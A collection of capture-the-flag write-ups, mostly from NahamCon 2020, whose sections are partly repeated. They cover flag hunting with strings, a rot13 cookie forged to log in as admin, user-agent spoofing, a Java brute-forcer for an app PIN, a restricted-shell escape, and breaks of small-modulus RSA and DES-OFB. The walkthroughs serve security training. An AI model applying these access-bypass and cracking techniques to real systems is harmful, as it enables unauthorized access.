Download the file below.Files: clisay```
`clisay` is an ELF, we try to execute is and we get:```$ ./clisay __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
```With `strings` we get:```$ strings clisay [...]flag{Y0u_c4n_ __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||r3Ad_M1nd5}[...]```
The flag was hidden in the executable
The flag is: `flag{Y0u_c4n_r3Ad_M1nd5}`
## Metameme```Hacker memes. So meta.
Download the file below.Files: hackermeme.jpg```
We can see all metadatas with http://exif.regex.info/exif.cgi
And we see a particular creator :D```XMPXMP: Toolkit Image::ExifTool 10.80Creator: flag{N0t_7h3_4cTuaL_Cr3At0r}```
The flag is: `flag{N0t_7h3_4cTuaL_Cr3At0r}`
## Mr. Robot```Elliot needs your help. You know what to do.
Connect here:http://jh2i.com:50032```
There is a basic website, nothing in source code, so we check the robots.txt file at `url/robots.txt` and we can read:```flag{welcome_to_robots.txt}```
The flag is: `flag{welcome_to_robots.txt}`
## UGGC```Become the admin!
Connect here:http://jh2i.com:50018```On website, there is a login form with only unsername field and the message `Login as admin has been disabled`
When we try to log with the username `username`, the message `Sorry, only admin can see the flag.` is show
When we check cookies, we can see a cookie `user` with value `hfreanzr`
`hfreanzr` is just `username` encrypt with `rot 13` algorithm
Then, we replace the value of the cookie by `nqzva` (the `rot 13` of `admin`), refresh the page and the flag is displayed
The flag is: `flag{H4cK_aLL_7H3_C0okI3s}`
## Peter Rabbit```Little Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.Files: peter.png```
There is nothing hide in image
But the colors let thought about Piet esolang: https://esolangs.org/wiki/Piet
So, we execute the image with https://www.bertnase.de/npiet/npiet-execute.php
And the program write the flag: `flag{ohhhpietwastherabbit}`
## Pang```This file does not open!
Download the file below.Files: pang```The file is a png file but we can't open it
We execute string function on it to see if the file is another thing that a png file, and surprise !```$ strings pang[...]flag{wham_bam_thank_you_for_the_flag_maam}[...]```
The flag is: `flag{wham_bam_thank_you_for_the_flag_maam}` |
# Miscellaneous
## Vortex```Will you find the flag, or get lost in the vortex?
Connect here:nc jh2i.com 50017```
When we are connected, there is a lot of unreadable text:```nc jh2i.com 50017 | head�PϞ)m1e��/}=v/�()k+�>�(�,닥�W{�t��6�+S����8�=$��=ğ��Q��L����m=|w.�`#����P0ʼ�'hd���Q����R�+�%<�KK�zҷwD�?�0�1:�逝&�u�(�����d�Z'f��e��J���V���/씔���be�8rhr�wrDgQ,�����C���4��}�_��]t�Y�!�vY2���k��cS�O����#��O?[...]```
We can check if the flag is hidden inside:```$ nc jh2i.com 50017 | strings | grep flagflag{more_text_in_the_vortex}```
The flag is: `flag{more_text_in_the_vortex}`
## Fake File```Wait... where is the flag?
Connect here:nc jh2i.com 50026```
When we log in, we have access to a shell
```user@host:/home/user$ ls -lals -latotal 12dr-xr-xr-x 1 nobody nogroup 4096 Jun 12 17:08 .drwxr-xr-x 1 user user 4096 Jun 4 18:54 ..-rw-r--r-- 1 user user 52 Jun 12 17:08 ..```
There is a file named `..` but we can't cat it:```user@host:/home/user$ cat ..cat ..cat: ..: Is a directory```
We must select the file `..` and not the directory `..`, the command ` find` will help us:
```user@host:/home/user$ find . -type ffind . -type f./.. user@host:/home/user$ find . -type f -exec cat {} \;find . -type f -exec cat {} \;flag{we_should_have_been_worried_about_u2k_not_y2k}```
The flag is `flag{we_should_have_been_worried_about_u2k_not_y2k}`
## Alkatraz```We are so restricted here in Alkatraz. Can you help us break out?
Connect here:nc jh2i.com 50024```
When we log in, we have access to a restricted shell
With `ls`, we can see a file `flag.txt` in home directory, the flag can is inside
We can use `cat`, `less`, `more`, `head`, `tail` or `grep` to try to display its content...
But we can une `.` instruction lmao:```. flag.txtflag.txt: line 1: flag{congrats_you_just_escaped_alkatraz}: command not found```
The flag is: `flag{congrats_you_just_escaped_alkatraz}`
|
# Generic Flag Checker## slopey | 6/8/2020
TL;DR: UPX packed binary, unpack for static analysis. Encrypt function is one liner in Python. Scroll down for source.
We are given an executable which encrypts the input and checks it against an encrypted string. Opening the executable in Ghidra, we notice that there are only three functions, all of which, when viewed in the decompiler, look like initialization code. Moreover, when we do a string search, we can't find anything, despite the fact that we know there must be strings in the binary since there is output from the binary when it is run. Inspecting the headers, we find that there's only three headers: `UPX0`, `UPX1`, and `.rsrc`. This tells us the executable is packed using UPX. UPX is a tool which compresses binaries. We can download the toolkit [here](https://github.com/upx/upx/releases/tag/v3.96) and unpack the binary using this command:```> upx -d -o memes-unpacked.exe memes.exe```Now, opening `memes-unpacked.exe` in Ghidra, we can find all of the functions and see all the normal headers. When we do a string search, we can locate main at the offset `0x1000`. However, when looking at the decompiler and the assembly, we find a lot of junk code.
This is most likely due to the fact that unpacking UPX doesn't always have a 100% accuracy. When I tried running the unpacked binary, it didn't even work. At this point, I chose to use x64dbg to kick off dynamic analysis of the binary. After opening `memes.exe`, I open the symbol tree and find calls to `strlen` and `memcmp`. Most likely, this is part of the actual program logic.
I set a breakpoint at both of those functions. When I hit the breakpoint, I press `Ctrl+F9` which continues until return. I then press `F8` to go to the next instruction so I can see where the function returns to. I hit `strlen` first and return twice, and I am sent to the main function.
Looking at the disassembly, it is exactly the same as Ghidra. It's helpful at this point to graph the function so we can see the control flow diagram. But when we graph the main function on x64dbg, we are faced with this:
Okay, that's not very fun. So let's try to work backwards. I reason that since there's a call to `memcmp`, most likely we'll be given our encrypted input and the encrypted flag. We can work backwards from there to determine what the code does. When we hit the breakpoint, we can take a look at the `RCX` and `RDX` registers to view the parameters. One is likely the flag, and the other is the input. By the way, you can pass a command line argument to x64dbg by running this command:
```init C:\Users\<Username>\<File Location>, <Command Line Argument #1>, <Command Line Argument #2>, ...```Let's execute until return and step to where this function was called from. Inspecting the code on the graph view, we start to understand the binary more:
Great! This makes some sort of sense. We compare the encrypted flag with the encrypted input, and if it's the same, it's correct (and most likely the flag.) Now let's just try to figure out the encryption logic. One way to do this is to try to cheese the problem and just try to pass a bunch of different command line arguments and predict the pattern. If you start to pass in different command line arguments, you'll definetly start to see a pattern. But I was not smart and didn't realize the command line argument was even a string until much later, since I misread the Ghidra decompiler. So at this point, theoretically you don't even need to do any more reverse engineering, and it's also possible to use `angr` or some framework to brute the problem. But for the sake of this writeup, let's just try actually reverse engineering it.
I figured it's going to take me years to figure out what all of this code does, so what I did was that I ran the binary and kept pressing `F8` until I saw the parameter change. That's when I knew the encryption started. The first time this changes is in the very beginning, after a call to memcmp, the first five characters and the last character of the input are chopped off. This was just through basic observation. When you run the binary a few times, you see that this pattern is always there. This actually makes a lot of sense in retrospect. The first five characters it cuts off is most likely `flag{`, and the last character it chops off is most likely `}`.
After a while, we isolate the main encryption logic to these few lines of assembly:
When you run it a couple of times, it's very obvious what this is doing. `r9b` is initialized as the first character of the sliced input, and `dil` is initialized to zero. Then, this happens:- The value of `r9b` is decremented by `dil`, which is the counter- 1 is added to `edi` (so effectively `dil`)- The next character of the input is moved into `r9b` (FYI, this instruction is not shown in the above image.)
So the Python equivalent of this would be:```pythondef encrypt(plaintext): cipher = "" for idx, char in enumerate(plaintext[5:-1]): cipher += chr(ord(char) - idx) return cipher```This is easily reversible:```pythondef decrypt(cipher): plaintext = "" for idx, char in enumerate(cipher): plaintext += chr(ord(char) + idx) return "flag{" + plaintext + "}"```We can skip to our breakpoint in `memcmp` and copy the encrypt flag. When we run `decrypt(flag)`, we get our flag.```flag{cpp_memes}``` |
# Traffic Lights A Writeup
This challenge can be quickly identified as a textbook min cost flow problem.Googling "min cost flow code" we find a handy implementation of this algorithm. [Their code](https://developers.google.com/optimization/flow/mincostflow)
Shamelessly being a script kiddie and copying their code, we only have to change how we read in input to solve the problem.
Sidenote: This problem was solved while there was still the issue of there being a greater total workplace capacity than total workers. Therefore, we had to call min_cost_flow.SolveMaxFlowWithMinCost() instead of just Solve(), as seen in Google's documentation.
From here, the only challenge left is to successfully pipe the output. But that's for noobs. Instead, I appended the problem input into a Notepad++ file, cut the garbage, copied the input over to an input file for python, ran the code using pycharm, and pasted the output back into the terminal. Only took two tries to get this under 120 seconds.
Flag:```flag{n0_u_c4n7_ju57_u53_n37w0rk_51mpl3x_h4h4_c4r_60_vr00m_69bb3a80}```
Code below```pythonfrom __future__ import print_functionfrom ortools.graph import pywrapgraphimport numpy as npfrom sys import stdin
def main(): """MinCostFlow simple interface example.""" fileIn = open('TrafficA.in', 'r') while True: #while st.find("Here") < 0: # st = stdin.readline() # print(st, file = fileOut) st = fileIn.readline() n,m,k,l = (int(s) for s in st.split()) # Define four parallel arrays: start_nodes, end_nodes, capacities, and unit costs # between each pair. For instance, the arc from node 0 to node 1 has a # capacity of 15 and a unit cost of 4. start_nodes1 = np.zeros(m,dtype=int) end_nodes1 = np.zeros(m,dtype=int) capacities1 = np.zeros(m,dtype=int) unit_costs1 = np.zeros(m,dtype=int) for z in range(m): st = fileIn.readline() u, v, i, f = (int(s) for s in st.split()) start_nodes1[z] = u-1 end_nodes1[z] = v-1 capacities1[z] = f unit_costs1[z] = i
# Define an array of supplies at each node.
supplies1 = np.zeros(n,dtype=int) for i in range(k): st = fileIn.readline() u, p = (int(s) for s in st.split()) supplies1[u-1] = p for i in range(l): st = fileIn.readline() u, p = (int(s) for s in st.split()) supplies1[u-1] = -p start_nodes = [] end_nodes = [] capacities = [] unit_costs = [] supplies = [] for i in start_nodes1: start_nodes.append(i) for i in end_nodes1: end_nodes.append(i) for i in capacities1: capacities.append(i) for i in unit_costs1: unit_costs.append(i) for i in supplies1: supplies.append(i) # Instantiate a SimpleMinCostFlow solver. min_cost_flow = pywrapgraph.SimpleMinCostFlow()
# Add each arc. for i in range(0, len(start_nodes)): min_cost_flow.AddArcWithCapacityAndUnitCost(start_nodes[i], end_nodes[i],capacities[i], unit_costs[i]) # Add node supplies.
for i in range(0, len(supplies)): min_cost_flow.SetNodeSupply(i, supplies[i])
# Find the minimum cost flow between node 0 and node 4. if min_cost_flow.SolveMaxFlowWithMinCost() == min_cost_flow.OPTIMAL: print(min_cost_flow.OptimalCost()) else: print('There was an issue with the min cost flow input.')
if __name__ == '__main__': main()``` |
# Mobile
## Candroid```I think I can, I think I can!
Download the file below.Files: candroid.apk```We extract apk in a directory and we check if the flag is writed in plain text:```$ grep -R flagMETA-INF/CERT.SF:Name: res/layout/activity_flag.xmlMETA-INF/MANIFEST.MF:Name: res/layout/activity_flag.xmlBinary file resources.arsc matchesBinary file classes.dex matches
$ strings resources.arsc | grep flagflag{4ndr0id_1s_3asy}res/layout/activity_flag.xmlflagTVactivity_flagflag```
The flag is: `flag{4ndr0id_1s_3asy}`
## Simple App```Here's a simple Android app. Can you get the flag?
Download the file below.Files:simple-app.apk```
Same method than **Candroid**
We extract apk in a directory and we check if the flag is writed in plain text:```$ grep -R flagBinary file resources.arsc matchesBinary file classes.dex matches
$ strings classes.dex | grep flag[...]flag{3asY_4ndr0id_r3vers1ng}[...]```
The flag is: `flag{3asY_4ndr0id_r3vers1ng}`
## Secure Safe```This app says it secures my stuff! It's so cool!
Download the file below.Files: secure_safe.apk```
The application asks a 4-digit pin and seems use it to decrypt a cipher after that a `submit` was pressed, the result seems to be the flag
We use http://www.decompiler.com to decompile the APK
In `sources/com/congon4tor/nahamcon2/MainActivity.java`, there is the `onCreate` main function:``` javapublic void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); String string = getString(R.string.encrypted_flag); this.p = (TextView) findViewById(R.id.flagTV); ((Button) findViewById(R.id.submit)).setOnClickListener(new a(string, (EditText) findViewById(R.id.pin)));}```
The class `MainActivity.a` is set as click listener of the submit button with `string` var and the `pin` input element
`string` is equal to `getString(R.string.encrypted_flag)`, so we search its value:```$ grep -R encrypted_flagresources/res/values/public.xml: <public type="string" name="encrypted_flag" id="2131492892" />resources/res/values/strings.xml: <string name="encrypted_flag">UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=</string>sources/com/congon4tor/nahamcon2/MainActivity.java: String string = getString(R.string.encrypted_flag);sources/com/congon4tor/nahamcon2/R.java: public static final int encrypted_flag = 2131492892;```
`string` is equal to `UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=` because it's the variable `encrypted_flag` in `R.strings`
The class `MainActivity.a` is:``` javapublic class a implements View.OnClickListener {
public final /* synthetic */ String f532b; public final /* synthetic */ EditText c;
public a(String str, EditText editText) { this.f532b = str; this.c = editText; }
public void onClick(View view) { String[] strArr = {this.f532b, this.c.getText().toString()}; new b.b.a.a.a(MainActivity.this).execute(new String[][]{strArr}); }}```
At create, there is `UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=` in `this.f532b`
When the user press the ` submit` button, the function `onClick` is called and there are `UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=` and the pin in `strArr`
Then, the class `b.b.a.a.a` is created and executed, the argument look like `{{"UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=", **pin**}}`
we search where the class is located: in the directory `source/b/b/a/a` there is a file named `a` and in it, a class `a` from package `b.b.a.a`, it's it !
In `source/b/b/a/a/a` there is two methods of `AsyncTask class` called by `execute`:``` javapublic Object doInBackground(Object[] objArr) { String[][] strArr = (String[][]) objArr; String str = strArr[0][0]; String str2 = strArr[0][1]; try { MessageDigest instance = MessageDigest.getInstance("SHA-1"); instance.update("5up3r_53cur3_53cr37".getBytes("UTF-8")); instance.update(str2.getBytes("UTF-8")); return new String(a(Base64.decode(str, 0), new BigInteger(1, instance.digest()).toString(16).getBytes())); } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) { e.printStackTrace(); return "Error decrypting"; }}
public void onPostExecute(Object obj) { String str = (String) obj; super.onPostExecute(str); this.f531a.p.setText(str);}```
The `execute` function call `doInBackground` function with argument passed to `execute` and `onPostExecute` is called automaticly after `doInBackground` finishes with the value returned by `doInBackground` as argument
`doInBackground` seems decrypt the flag and `onPostExecute` display it
Now, we can write a script to test all pin and crack it:``` javaimport java.io.UnsupportedEncodingException;import java.math.BigInteger;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.util.Base64;
public class Crack {
// xor function public static final byte[] a(byte[] bArr, byte[] bArr2) { byte[] bArr3 = new byte[bArr.length]; for (int i = 0; i < bArr.length; i++) { bArr3[i] = (byte) (bArr[i] ^ bArr2[i % bArr2.length]); } return bArr3; }
public static Object doInBackground(Object[] objArr) { String[][] strArr = (String[][]) objArr; String str = strArr[0][0]; String str2 = strArr[0][1]; try { MessageDigest instance = MessageDigest.getInstance("SHA-1"); instance.update("5up3r_53cur3_53cr37".getBytes("UTF-8")); instance.update(str2.getBytes("UTF-8")); // change way to decode in Base64 return new String(a(Base64.getDecoder().decode(str), new BigInteger(1, instance.digest()).toString(16).getBytes())); } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) { e.printStackTrace(); return "Error decrypting"; } }
public static void main(String[] args) { String encrypted_flag = "UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U="; for (int id = 0; id <= 9999; id++) { String pin = String.format("%04d", id); String flag = (String)doInBackground(new String [][]{{encrypted_flag, pin}}); if (flag.startsWith("flag{")) System.out.println("pin:" + pin + " -> " + flag); } }
}```
And finaly execute it:```$ java Crack.javapint:3952 -> flag{N0T_th3_B3st_3ncrypt10N}```
The flag is: `flag{N0T_th3_B3st_3ncrypt10N}` |
Game where you have to progress through levels to buy better gear.
Script in pwntools to repeatedly "do quests" to earn gold. Occassionally re-visiting shop when have enough money to upgrade to the next level.
[Original writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#really-powerful-gnomes) |
# Web
## Agent 95```They've given you a number, and taken away your name~
Connect here:http://jh2i.com:50000```
On website, it writes:```You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows...```
Agent 95 ? Maybe its window 95 user-agent ?
On https://en.wikipedia.org/wiki/User_agent we can see that the user-agent or Window95 is `Microsoft Internet Explorer/4.0b1 (Windows 95)`
We access to the website with this user-agent and we can read the flag:```$ curl -h "^Cft Internet Explorer/4.0b1 (Windows 95ows 95)" http://jh2i.com:50000/[tom.rorato@linux Downloads]$ curl -H "User-Agent:Microsoft Internet Explorer/4.0b1 (Windows 95) " http://jh2i.com:50000/flag{user_agents_undercover}[...]```
The flag is: `flag{user_agents_undercover}`
## Localghost```BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:http://jh2i.com:50003
Note, this flag is not in the usual format.```
On website, the flag is stored on local storage, we can access to it in firefox with `inspect element`, go in `Storage` menu and in `Local Storage`
The flag is: `JCTF{spoooooky_ghosts_in_storage}` |
# Cryptography
## Twinning```These numbers wore the same shirt! LOL, #TWINNING!
Connect with:nc jh2i.com 50013```
We start by connecting to the level:```$ nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,10507244454143)The Encrypted PIN is 882113417291What is the PIN?```
It's a basic RSA encryption, we can see that N is tooo small, we can try to factorise it with http://www.factordb.com/index.php?query=10507244454143
Bingo, `10507244454143` = `3241487` * `3241489`
Now, we can decrypt the cipher with python:``` python$ pythonPython 2.7.18 (default, Apr 21 2020, 18:49:31) Type "help", "copyright", "credits" or "license" for more information.>>> p = 3241487>>> q = 3241489>>> N = p * q>>> print N == 10507244454143True>>> e = 65537>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 882113417291>>> plaintext = pow(cipher, d, N)>>> print plaintext1668```
The plaintext pin is `1668`
Finally, we send it to the challenge:```$ nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,10507244454143)The Encrypted PIN is 882113417291What is the PIN?1668Good job you won!flag{thats_the_twinning_pin_to_win}```
The flag is: `flag{thats_the_twinning_pin_to_win}`
## Ooo-la-la```Uwu, wow! Those numbers are fine!
Download the file below.Files: prompt.txt```
`prompt.txt` content:```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
We can try to factorize N with http://www.factordb.com and we can see that N = `1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207` * `1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213`
Then we can decrypt the cipher like **Twinning** challenge:``` python$ pythonPython 2.7.18 (default, Apr 21 2020, 18:49:31) Type "help", "copyright", "credits" or "license" for more information.>>> p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207>>> q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213>>> N = p * q>>> print N == 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091True>>> e = 65537>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983>>> plaintext = pow(cipher, d, N)>>> print plaintext50937517511042200745290788421321823843091772536455731976208097788779057394456536262472573>>> print hex(plaintext)[2:-1].decode('hex')flag{ooo_la_la_those_are_sexy_primes}```
The flag is `flag{ooo_la_la_those_are_sexy_primes}`
## December```This is my December...
Download the file below.Files: source.py ciphertext```
`source.py`:``` python#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
`source.py` encrypt the message in `ciphertext` with DES-OFB algorithm
I admit that I was inspired by this write-up: https://shrikantadhikarla.wordpress.com/2016/03/08/des-ofb-writeup-boston-key-party-ctf/
When we run this scipt:``` pythonfrom Crypto.Cipher import DES, XORimport operator
block_size = DES.block_sizeIV = '13371337'f = open('ciphertext', 'r')ciphertext = f.read()f.close()
first_line = '????????'p0 = first_line[:block_size]c0 = ciphertext[:block_size]xor = XOR.new(c0)ek = xor.decrypt(p0)
plainblocks = ''i=0while True: cj = ciphertext[(i*block_size):((i+1)*block_size)] if not cj: break xor = XOR.new(cj) if (operator.mod(i+1,2)==0): plainblock = xor.decrypt(IV) else: plainblock = xor.decrypt(ek) i = i+1 plainblocks = plainblocks + plainblockprint plainblocks```We get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 3f 3f 65 20 6d 79 20 73 6e 6f |????????e my sno|00000010 1c 77 39 23 2c 7a 2c 28 64 20 64 72 65 61 6d 73 |.w9#,z,(d dreams|00000020 61 03 32 25 29 3f 37 3e 20 6d 65 20 70 72 65 74 |a.2%)?7> me pret|00000030 0e 39 3e 25 34 78 54 2b 6c 61 67 7b 74 68 69 73 |.9>%4xT+lag{this|00000040 34 3e 29 13 3b 73 32 12 69 5f 6e 65 65 64 7d 00 |4>).;s2.i_need}.|00000050 0a |.|```But nothing more, we have to try to guess the message to continue to decrypt it
We can guess that on line 4, there is the word `flag`
We try all combinations of the 8th char of the first line and we get with `???????r` as fist line:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 3f 72 65 20 6d 79 20 73 6e 6f |???????re my sno|00000010 1c 77 39 23 2c 7a 2c 65 64 20 64 72 65 61 6d 73 |.w9#,z,ed dreams|00000020 61 03 32 25 29 3f 37 73 20 6d 65 20 70 72 65 74 |a.2%)?7s me pret|00000030 0e 39 3e 25 34 78 54 66 6c 61 67 7b 74 68 69 73 |.9>%4xTflag{this|00000040 34 3e 29 13 3b 73 32 5f 69 5f 6e 65 65 64 7d 00 |4>).;s2_i_need}.|00000050 0a |.|```
Then we can guess the word `are` in first line, so in script `first_line` is equal to `??????ar`, and we get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 61 72 65 20 6d 79 20 73 6e 6f |??????are my sno|00000010 1c 77 39 23 2c 7a 72 65 64 20 64 72 65 61 6d 73 |.w9#,zred dreams|00000020 61 03 32 25 29 3f 69 73 20 6d 65 20 70 72 65 74 |a.2%)?is me pret|00000030 0e 39 3e 25 34 78 0a 66 6c 61 67 7b 74 68 69 73 |.9>%4x.flag{this|00000040 34 3e 29 13 3b 73 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).;sl_i_need}.|00000050 0a |.|```
Next, we can add a space before the word `are`, and with `????? ar` we get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 20 61 72 65 20 6d 79 20 73 6e 6f |????? are my sno|00000010 1c 77 39 23 2c 65 72 65 64 20 64 72 65 61 6d 73 |.w9#,ered dreams|00000020 61 03 32 25 29 20 69 73 20 6d 65 20 70 72 65 74 |a.2%) is me pret|00000030 0e 39 3e 25 34 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>%4g.flag{this|00000040 34 3e 29 13 3b 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).;ll_i_need}.|00000050 0a |.|```
We guess the word `all` in flag, we try all combinations of the 5th char and we get with `????e ar` as fist line:```./cracker.py | hexdump -C00000000 3f 3f 3f 3f 65 20 61 72 65 20 6d 79 20 73 6e 6f |????e are my sno|00000010 1c 77 39 23 76 65 72 65 64 20 64 72 65 61 6d 73 |.w9#vered dreams|00000020 61 03 32 25 73 20 69 73 20 6d 65 20 70 72 65 74 |a.2%s is me pret|00000030 0e 39 3e 25 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>%ng.flag{this|00000040 34 3e 29 13 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).all_i_need}.|00000050 0a |.|```
Same for char `_` before the word `all` in flag, and we get with `???se ar` as fist line:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 73 65 20 61 72 65 20 6d 79 20 73 6e 6f |???se are my sno|00000010 1c 77 39 6f 76 65 72 65 64 20 64 72 65 61 6d 73 |.w9overed dreams|00000020 61 03 32 69 73 20 69 73 20 6d 65 20 70 72 65 74 |a.2is is me pret|00000030 0e 39 3e 69 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>ing.flag{this|00000040 34 3e 29 5f 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>)_all_i_need}.|00000050 0a |.|```And finally, we can guess that `These` is the first word of fist line, and with `These ar` as first line, we get:```$ ./cracker.py | hexdump -C00000000 54 68 65 73 65 20 61 72 65 20 6d 79 20 73 6e 6f |These are my sno|00000010 77 20 63 6f 76 65 72 65 64 20 64 72 65 61 6d 73 |w covered dreams|00000020 0a 54 68 69 73 20 69 73 20 6d 65 20 70 72 65 74 |.This is me pret|00000030 65 6e 64 69 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |ending.flag{this|00000040 5f 69 73 5f 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |_is_all_i_need}.|00000050 0a |.|```The flag is `flag{this_is_all_i_need}
|
# Warmup
## Read The Rules```Please follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules```In source code of rules pages, there is a comment:``` html
```The flag is: `flag{we_hope_you_enjoy_the_game}`
## CLIsay```cowsay is hiding something from us!
Download the file below.Files: clisay```
`clisay` is an ELF, we try to execute is and we get:```$ ./clisay __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
```With `strings` we get:```$ strings clisay [...]flag{Y0u_c4n_ __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||r3Ad_M1nd5}[...]```
The flag was hidden in the executable
The flag is: `flag{Y0u_c4n_r3Ad_M1nd5}`
## Metameme```Hacker memes. So meta.
Download the file below.Files: hackermeme.jpg```
We can see all metadatas with http://exif.regex.info/exif.cgi
And we see a particular creator :D```XMPXMP: Toolkit Image::ExifTool 10.80Creator: flag{N0t_7h3_4cTuaL_Cr3At0r}```
The flag is: `flag{N0t_7h3_4cTuaL_Cr3At0r}`
## Mr. Robot```Elliot needs your help. You know what to do.
Connect here:http://jh2i.com:50032```
There is a basic website, nothing in source code, so we check the robots.txt file at `url/robots.txt` and we can read:```flag{welcome_to_robots.txt}```
The flag is: `flag{welcome_to_robots.txt}`
## UGGC```Become the admin!
Connect here:http://jh2i.com:50018```On website, there is a login form with only unsername field and the message `Login as admin has been disabled`
When we try to log with the username `username`, the message `Sorry, only admin can see the flag.` is show
When we check cookies, we can see a cookie `user` with value `hfreanzr`
`hfreanzr` is just `username` encrypt with `rot 13` algorithm
Then, we replace the value of the cookie by `nqzva` (the `rot 13` of `admin`), refresh the page and the flag is displayed
The flag is: `flag{H4cK_aLL_7H3_C0okI3s}`
## Peter Rabbit```Little Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.Files: peter.png```
There is nothing hide in image
But the colors let thought about Piet esolang: https://esolangs.org/wiki/Piet
So, we execute the image with https://www.bertnase.de/npiet/npiet-execute.php
And the program write the flag: `flag{ohhhpietwastherabbit}`
## Pang```This file does not open!
Download the file below.Files: pang```The file is a png file but we can't open it
We execute string function on it to see if the file is another thing that a png file, and surprise !```$ strings pang[...]flag{wham_bam_thank_you_for_the_flag_maam}[...]```
The flag is: `flag{wham_bam_thank_you_for_the_flag_maam}` |
DES in OFB (output feed back mode)
We're given the IV, source code, and ciphertext.
Try some of the top weak DES keys, and "grep" for flag substring in potential plaintext.
[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#december) |
Connecting to the remote input gives RSA values:
```nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,31378393096163)The Encrypted PIN is 26169559602561What is the PIN?```
FactorDB fully factors public key (n, 31378393096163). That gives p and q. Then just do standard RSA with those values and send back pin (3093)
[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#twinning) |
# Xtremely Memorable Listing:Web:200ptsChallenge instance ready at 95.216.233.106:37379. We've been asked to test a web application, and we suspect there's a file they used to provide to search engines, but we can't remember what it used to be called. Can you have a look and see what you can find?
# Solutionアクセスするとログインフォームが見える。 Login [site.png](../Entrypoint/site/site.png) サーチエンジン用のファイルを見つければいいようだ。 XMLが問題名なのでsitemap.xmlを見に行く。 ```xml:sitemap.xml
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://fake.site/</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url> </urlset> ```sitemap.xml.bakがあるようなので見に行く。 ```xml:sitemap.xml.bak
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://fake.site/</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url> <url> <loc>https://fake.site/_journal.txt</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url></urlset> ```_journal.txtがあるようなので見に行くとflagが書かれていた。
## ractf{4l13n1nv4s1on?} |
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